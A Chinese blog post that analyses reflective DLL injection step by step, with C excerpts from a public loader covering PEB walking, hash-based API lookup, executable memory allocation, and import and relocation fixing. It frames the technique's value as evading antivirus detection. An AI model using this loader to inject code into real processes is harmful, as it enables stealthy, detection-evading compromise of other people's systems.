zoukankan      html  css  js  c++  java
  • 反射Dll注入分析

    (源码作者:(HarmanySecurity)Stephen Fewer)

    0x01  反射Dll注入的优点

        1.反射Dll注入的主要优点是它没有以主机系统的任何方式(例如LoadLibrary和LoadLibraryEx)进行注册,因此在系统和进程级别上基本上都是不可检测的,并且反射DLL注入写入了较少的的shellcode,进一步降低被检测到的可能性。

        1.在远程开发中使用反射DLL注入时,注入到宿主进程的Dll难以被反病毒的文件扫描器检测到,因为它从不会接触到磁盘,直接从内存中写入加载到宿主进程。

     

    0x02  注入过程(原理)

        反射Dll注入的过程分两大步,首先反射Dll注入将Dll从内存加载到宿主进程中。然后Dll将通过实现一个自实现的文件加载器程序来加载它自己(例如解析其导入表以及移到内存中的适当位置的重定位表修正),以满足dll的运行期望。然后,它就可以在宿主进程中,嗯,“参与”到宿主进程的“活动”中。

        流程:

        1.先将Dll映像文件(原始PE文件)写入到宿主进程空间当中

        2.reflectiveloader将首先计算imagede 的当前位置,以便后续加载自己。

        3.在宿主进程中查询Kernel32动态库,计算出三个函数的地址:即LoadLibraryA,GetProcAddress,VirtualAlloc。

        4.reflectiveloader继续分配的内存中的连续区域,用于加载Dll.

        5.reflectiveloader将Dll的 headers 和 sections 复制到宿主进程中的新分配的内存区域。

        6.reflectiveloader修正Dll中的导入表

        7.reflectiveloader修正Dll中的重定位表

        8.reflectiveloader加载工作完成后调用DLL入口点

    0x03  加载Dll文件的reflectiveloader的关键流程具体实现

         (1)查询Kernel32动态库,计算出三个函数的地址:即LoadLibraryA,GetProcAddress,VirtualAlloc:

         首先要获取PEB:

    #ifdef _WIN64
    	Peb = (PPEB)__readgsqword(0x60);
    #else
    #ifdef _WIN32
    	Peb = (PPEB)__readfsdword(0x30);
    #else 
    #endif
    #endif
    

      再通过PEB得到Kernel32动态库的地址,先看PEB的结构:

        看到0x18偏移处的成员PEB_LDR_DATA:

        其中的三个LIST_ENTRY链表,按照不同的顺序将当前进程加载的所有模块链接起来,遍历其中的任意一个LIST_ENTRY,都可以获得所有模块的基地址。

        再看这个LDR_DATA_TABLE_ENTRY的结构:
        

        通过PEB_LDR_DATA的和LDR_DATA_TABLE_ENTRY共有的三根链表,我们也能通过LDR_DATA_TABLE_ENTRY结构中的FULLDLLNAME成员得到模块名,用来确定kernel32模块,进一步得到模块基地址DllBase.

    #define KERNEL32DLL_HASH				0x6A4ABC5B
    
    Ldr = (ULONG_PTR)Peb->Ldr;
    
    	LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)((PPEB_LDR_DATA)Ldr)->InMemoryOrderModuleList.Flink;
    	while (LdrDataTableEntry)
    	{
    	
    		ModuleName = (ULONG_PTR)LdrDataTableEntry->FullDllName.Buffer;   //双字 
    
    		ModuleNameLength = LdrDataTableEntry->FullDllName.Length;
    
    		ModuleHashValue = 0;
    		do
    		{
    			ModuleHashValue = ror((DWORD)ModuleHashValue);  
    		
    			if (*((BYTE *)ModuleName) >= 'a')   //转换为大写
    				ModuleHashValue += *((BYTE *)ModuleName) - 0x20;
    			else
    				ModuleHashValue += *((BYTE *)ModuleName);
    			ModuleName++;
    		} while (--ModuleNameLength);
    
    		//在目标进程中查询Kernel32动态库
    		if ((DWORD)ModuleHashValue == KERNEL32DLL_HASH)
    		{
    			//获得Kerner32.dll的模块地址
    			ModuleBase = (ULONG_PTR)LdrDataTableEntry->Reserved2[0];  //DllBase
    

      得到kernel32的基地址后,再步步为营,得到NT头,数据目录表,导出表,从而在导出表中查找三个函数LoadLibraryA,GetProcAddress,VirtualAlloc的地址:

    if ((DWORD)ModuleHashValue == KERNEL32DLL_HASH)
    		{
    			//获得Kerner32.dll的模块地址
    			ModuleBase = (ULONG_PTR)LdrDataTableEntry->Reserved2[0];  //DllBase
    
    
    			ImageNtHeaders = (ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew);
    
    
    			//有两个成员的结构体目录
    			ImageDataDirectory = (UINT_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    
    
    			//导出表地址
    			ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
    
    	
    
    			AddressOfNames = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNames);
    
    
    			AddressOfNameOrdinals = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNameOrdinals);
    			NumberOfNames = ((PIMAGE_EXPORT_DIRECTORY )ImageExportDirectory)->NumberOfNames;
    			IsLoop = 4;
    
    			// loop while we still have imports to find
    			while (IsLoop > 0&&NumberOfNames>0)
    			{
    				// compute the hash values for this function name
    				HashValue = MakeHashValue((char *)(ModuleBase + DEREFERENCE_32(AddressOfNames)));
    
    				// if we have found a function we want we get its virtual address
    				if (HashValue == LOADLIBRARYA_HASH || 
    					HashValue == GETPROCADDRESS_HASH || 
    					HashValue == VIRTUALALLOC_HASH ||
    					HashValue == EXITTHREAD_HSAH)
    				{
    					// get the VA for the array of addresses
    					AddressOfFunctions = (ModuleBase +
    						((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions);
    
    					// use this functions name ordinal as an index into the array of name pointers
    					AddressOfFunctions += (DEREFERENCE_16(AddressOfNameOrdinals) * sizeof(DWORD));
    
    					// store this functions VA
    					if (HashValue == LOADLIBRARYA_HASH)
    						LoadLibraryA = (REFLECTIVELOADER::LPFN_LOADLIBRARYA)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
    					else if (HashValue == GETPROCADDRESS_HASH)
    						GetProcAddress = (REFLECTIVELOADER::LPFN_GETPROCADDRESS)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
    					else if (HashValue == VIRTUALALLOC_HASH)
    						VirtualAlloc = (REFLECTIVELOADER::LPFN_VIRTUALALLOC)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
    					else if (HashValue == EXITTHREAD_HSAH)
    						ExitThread = (REFLECTIVELOADER::LPFN_EXITTHREAD)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
    
    					// decrement our counter
    					IsLoop--;
    				}
    
    				// get the next exported function name
    				AddressOfNames += sizeof(DWORD);
    
    				// get the next exported function name ordinal
    				AddressOfNameOrdinals += sizeof(WORD);
    
    				NumberOfNames--;
    			}
    

      

        (2)继续分配的内存中的连续区域,用于加载Dll,将Dll的 headers 和 sections 复制到宿主进程中的新分配的内存区域,内存粒度对齐各个节

    	// STEP 2: load our image into a new permanent location in memory...
    
    	// get the VA of the NT Header for the PE to be loaded
    	ImageNtHeaders = (RemoteBufferData + ((PIMAGE_DOS_HEADER)RemoteBufferData)->e_lfanew);
    
    	// allocate all the memory for the DLL to be loaded into. we can load at any address because we will  
    	// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
    	VirtualAddress = (ULONG_PTR)VirtualAlloc(NULL, 
    		((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, 
    		PAGE_EXECUTE_READWRITE);
    
    	// we must now copy over the headers
    	SizeOfHeaders = ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.SizeOfHeaders;
    
    
    	v1 = (BYTE*)RemoteBufferData;
    	v2 = (BYTE*)VirtualAddress;
    	while (SizeOfHeaders--)
    		*(BYTE *)v2++ = *(BYTE *)v1++;
    

      

    	// uiValueA = the VA of the first section
    	ULONG_PTR ImageSectionHeader = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader + 
    		((PIMAGE_NT_HEADERS)ImageNtHeaders)->FileHeader.SizeOfOptionalHeader);
    
    	// itterate through all sections, loading them into memory.
    	NumberOfSections = ((PIMAGE_NT_HEADERS)ImageNtHeaders)->FileHeader.NumberOfSections;
    	while (NumberOfSections--)
    	{
    		// uiValueB is the VA for this section
    		SectionVirtualAddress = (VirtualAddress + ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->VirtualAddress);
    		
    
    
    		// uiValueC if the VA for this sections data
    		SectionPointerToRawData = (RemoteBufferData + ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->PointerToRawData);
    
    		// copy the section over
    		SizeOfRawData = ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->SizeOfRawData;
    
    		while (SizeOfRawData--)
    			*(BYTE *)SectionVirtualAddress++ = *(BYTE *)SectionPointerToRawData++;
    
    		// get the VA of the next section
    		ImageSectionHeader += sizeof(IMAGE_SECTION_HEADER);
    	}
    

      

        (3)修正Dll中的导入表

                修改DLL的导入表,使这些被引入的函数能正常运行。

               PE文件的引入表是一个元素为IMAGE_IMPORT_DESCRIPTOR的数组。每一个被依赖的DLL都对应着数组中的一个元素。

               (导入表的解析请见:http://www.cnblogs.com/lsh123/p/7754347.html)

          

               

    ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    
    	// we assume their is an import table to process
    	// uiValueC is the first entry in the import table
    	ImageImportDescriptor = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
    
    
    	while (((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->Name)
    	{
    		// use LoadLibraryA to load the imported module into memory
    		ModuleBase = (ULONG_PTR)LoadLibraryA(
    			(LPCSTR)(VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->Name));
    
    		// uiValueD = VA of the OriginalFirstThunk
    		OriginalFirstThunk = (VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->OriginalFirstThunk);
    
    		// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
    		FirstThunk = (VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->FirstThunk);
    
    		// itterate through all imported functions, importing by ordinal if no name present
    		while (DEREFERENCE(FirstThunk))
    		{
    			// 索引导入
    			if (OriginalFirstThunk && ((PIMAGE_THUNK_DATA)OriginalFirstThunk)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
    			{
    				// get the VA of the modules NT Header
    				ImageNtHeaders = ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew;
    				
    				
    				ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    				
    				// get the VA of the export directory
    				ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
    				// get the VA for the array of addresses
    				AddressOfFunctions = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions);
    
    				// use the import ordinal (- export ordinal base) as an index into the array of addresses
    				AddressOfFunctions += 
    					((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)OriginalFirstThunk)->u1.Ordinal) -
    					((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->Base) * sizeof(DWORD));
    
    				// patch in the address for this imported function
    				DEREFERENCE(FirstThunk) = (ModuleBase + DEREFERENCE_32(AddressOfFunctions));
    			}
    			else
    			{
    				//修正名称导入的函数地址
    
    				// get the VA of this functions import by name struct
    				ImageImportByName = (VirtualAddress + DEREFERENCE(OriginalFirstThunk));
    				// use GetProcAddress and patch in the address for this imported function
    				DEREFERENCE(FirstThunk) = (ULONG_PTR)GetProcAddress((HMODULE)ModuleBase, 
    					(LPCSTR)((PIMAGE_IMPORT_BY_NAME)ImageImportByName)->Name);
    			}
    			// get the next imported function
    			FirstThunk += sizeof(ULONG_PTR);
    			if (OriginalFirstThunk)
    				OriginalFirstThunk += sizeof(ULONG_PTR);
    		}
    		// get the next import
    		ImageImportDescriptor += sizeof(IMAGE_IMPORT_DESCRIPTOR);
    	}
    

      

        (4)修正重定位表

           数据目录表DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]指向的是重定位表(重定位表的解析请见:http://www.cnblogs.com/lsh123/p/7755187.html)

                

    ImageNtHeaders = VirtualAddress + ((PIMAGE_DOS_HEADER)VirtualAddress)->e_lfanew;
    	Diff = VirtualAddress - ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.ImageBase;
    
    
    	//代表重定向表的目录
    	ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    
    	// check if their are any relocations present
    	if (((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->Size)
    	{
    		//定位到重定向表
    		ImageBaseRelocation = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
    
    		// and we itterate through all entries...
    		while (((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock)
    		{
    			//重定向表中的word表
    			v3 = (VirtualAddress + ((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->VirtualAddress);
    
    			// uiValueB = number of entries in this relocation block
    			ImageBaseRelocationItemCount = 
    				(((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) 
    				/ sizeof(IMAGE_BASE_RELOCATION_ITEM);
    
    			// uiValueD is now the first entry in the current relocation block
    			ImageBaseRelocationItem = ImageBaseRelocation + sizeof(IMAGE_BASE_RELOCATION);
    
    			// we itterate through all the entries in the current block...
    			while (ImageBaseRelocationItemCount--)
    			{
    				// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
    				// we dont use a switch statement to avoid the compiler building a jump table
    				// which would not be very position independent!
    				if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_DIR64)
    					*(ULONG_PTR *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) 
    					+= Diff;
    				
    				else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_HIGHLOW)
    					*(DWORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) 
    					+= (DWORD)Diff;
    
    				else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_HIGH)
    					*(WORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += 
    					HIWORD(Diff);
    			
    				else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_LOW)
    					*(WORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += LOWORD(Diff);
    
    				// get the next entry in the current relocation block
    				ImageBaseRelocationItem += sizeof(IMAGE_BASE_RELOCATION_ITEM);
    			}
    
    			// get the next entry in the relocation directory
    			ImageBaseRelocation = ImageBaseRelocation + ((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock;
    		}
    	}
    

      

  • 相关阅读:
    python 回调函数,最简单的例子
    python 构造一个可以返回多个值的函数
    python 使用函数参数注解
    Python 两个星号(**)的 参数
    python 什么是位置参数?
    sqlalchemy 的 ORM 与 Core 混合方式使用示例
    sqlalchemy 的 Core 方式使用示例
    sqlalchemy 的 ORM 方式使用示例
    sys.stdin的三种方式
    可以多分类的神经网络
  • 原文地址:https://www.cnblogs.com/lsh123/p/7806811.html
Copyright © 2011-2022 走看看